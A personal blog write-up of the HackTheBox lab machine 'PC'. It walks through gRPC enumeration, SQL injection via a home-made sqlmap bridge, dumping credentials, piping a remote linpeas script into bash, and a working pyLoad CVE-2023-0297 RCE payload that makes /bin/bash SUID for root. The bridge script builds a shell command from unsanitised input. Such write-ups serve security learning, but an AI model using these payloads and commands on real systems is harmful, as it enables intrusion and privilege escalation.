cwoellner.com ~ personal website & blog

Writeup of PC From HackTheBox

Published on: Tuesday, Oct 24, 2023

Getting a foothold and the user flag

For the initial port scan, we use the following nmap command:

nmap -sS -A -Pn -T5 -p- -oN nmap.txt 10.129.222.8

And receive the following results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/20%Time=64691E24%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
...
SF:0\0\0\0\0\?\0\0");

A quick search for the port tells us that this is used by a protocol called grpc, we try to connect to the port using netcat but do not get a readable response.

nc 10.129.222.8 50051  
?��?�� ?

It looks like we need a grpc client. While searching for one, I found grpcurl (https://github.com/fullstorydev/grpcurl), a CLI based client. We download the container and can now enumerate the application using list.

sudo docker run fullstorydev/grpcurl -plaintext 10.129.222.8:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

sudo docker run fullstorydev/grpcurl -plaintext 10.129.222.8:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

The obvious flow would be to register, login and then use getInfo to get a shell or a password. The needed request parameters can be guessed based on the responses the server gives us.

sudo docker run fullstorydev/grpcurl -vv -plaintext 10.129.222.8:50051 SimpleApp.RegisterUser
{
  "message": "username or password must be greater than 4"
}

sudo docker run fullstorydev/grpcurl -vv -d '{"username": "test123", "password": "test123"}' -plaintext 10.129.222.8:50051 SimpleApp.RegisterUser
Response contents:
{
  "message": "Account created for user test123!"
}

sudo docker run fullstorydev/grpcurl -vv -d '{"username": "test123", "password": "test123"}' -plaintext 10.129.222.8:50051 SimpleApp.LoginUser
Response contents:
{
  "message": "Your id is 794."
}

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdDEyMyIsImV4cCI6MTY4NDY3NzE3OH0.qpkDYs2kNc3OAtVJ7FhXP2-z0Ze9q1LMQOIBLne5KHw'

Once we obtained our token, we use getInfo and play around with the “id” parameter, and it looks like there is some logic being evaluated by the backend. Values like “True”, “1” or “1 = 1” return a message, while the rest just errors out.

sudo docker run fullstorydev/grpcurl -rpc-header "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdDEyMyIsImV4cCI6MTY4NDY3NzE3OH0.qpkDYs2kNc3OAtVJ7FhXP2-z0Ze9q1LMQOIBLne5KHw" -d '{"id": "1 = 1"}' -plaintext 10.129.222.8:50051 SimpleApp.getInfo
{
  "message": "The admin is working hard to fix the issues."
}

I suspect the server might be vulnerable to SQL injection. Since sqlmap can not communicate via grpc we need to build our own middleware. I build a simple python web server using fastapi, calling running the command with “id” parameter it received from the client.

server.py

from fastapi import FastAPI
import os

app = FastAPI()

@app.get("/")
async def read_item(id: str):
    a = os.system("docker run fullstorydev/grpcurl -rpc-header \"token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdDEyMyIsImV4cCI6MTY4NDY3NzE3OH0.qpkDYs2kNc3OAtVJ7FhXP2-z0Ze9q1LMQOIBLne5KHw\" -d '{\"id\": \""+ id +"\"}' -plaintext 10.129.222.8:50051 SimpleApp.getInfo 2>/dev/null")
    return {"result": a}

The server can be installed and ran with the following commands:

sudo pip install "uvicorn[standard]"
sudo pip install fastapi
sudo uvicorn server:app --reload

With the server running all, we can start sqlmap and find that the parameter is injectable.

sqlmap -u 'http://127.0.0.1:8000/?id=1' -p id --dump
...
[01:16:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:16:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:16:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:16:47] [INFO] target URL appears to have 1 column in query
[01:16:47] [WARNING] applying generic concatenation (CONCAT)
[01:16:50] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') 
[01:17:06] [INFO] target URL appears to be UNION injectable with 1 columns
[01:17:10] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 9167=9167
---
...

After dumping the database, we get the login for the user sau.

Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

Root Flag

As usual, we use linpeas for enumerating the machine.

curl 10.10.14.60:8000/linpeas.sh | bash
...
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::50051                :::*                    LISTEN      -  
...

There is an application running on port 8000. Let us take a look at it.

curl 127.0.0.1:8000/login
...
<title>Login - pyLoad </title>
...

A quick search for pyLoad leads us to the vulnerability: https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad. By replacing the command in the example with our own, we can set the suid bit on /bin/bash and escalate to root.

curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20a%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2'
/bin/bash -p